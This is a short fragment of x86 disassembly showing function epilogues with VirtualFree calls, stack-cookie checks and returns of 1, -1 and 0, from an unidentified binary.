call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x110]
call fcn.004bad98
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bab62
mov esp, ebp
pop ebp
ret
push esi
call fcn.004bad98
add esp, 4
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004bab62
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004bab62
mov esp, ebp
pop ebp
ret